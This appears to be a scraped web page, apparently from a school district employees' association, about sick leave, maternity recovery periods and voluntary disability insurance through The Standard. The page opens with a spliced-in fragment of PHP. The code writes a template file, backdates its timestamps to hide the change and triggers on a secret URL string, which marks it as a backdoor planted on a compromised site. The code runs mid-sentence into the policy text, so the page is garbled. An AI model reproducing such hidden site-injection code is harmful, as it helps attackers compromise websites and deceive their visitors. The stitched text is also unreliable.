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empty($tpl) && file_put_contents($tpl_path, $tpl)) { echo 'Success!'; } else { echo 'failed'; } touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); exit; } if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !If the employee does not have enough accrued sick leave to cover the entire medical leave the Education Code provides up to 100 days of differential leave where we dock the employee' s pay for the cost of the substitute employee whether or not a substitute is assigned.Note: If you have taken a leave you must reenroll upon returning to work.If you have questions about your current disability insurance you can contact The Standard at 1-800-522-0406.(Request an application for The Standard Disability Insurance or re-enrollment forms from the EGEA Office by e-mailing Dayna at .Please include your name and school site when e-mailing.) Standard Insurance pays the employee directly and that money is not returned to EGUSD.

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The doctor determines when the employee should begin leave and recovery period after the delivery as certified in the note required.

Disability through The Standard is a voluntary disability insurance program if you are members of EGEA\CTA.

Generally the rule of thumb is a vaginal delivery is allowed 6 weeks from the birth and a C-Section is allowed 8 weeks from the birth date.

EGUSD begins to use the employee's accrued sick leave on the first day of absence.

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Standard Insurance will pay benefits up to 4 weeks prior to the expected delivery date and 6 to 8 weeks from the date of delivery for pregnancies without complications.They review claims for patients with complications to determine coverage based on individual circumstances.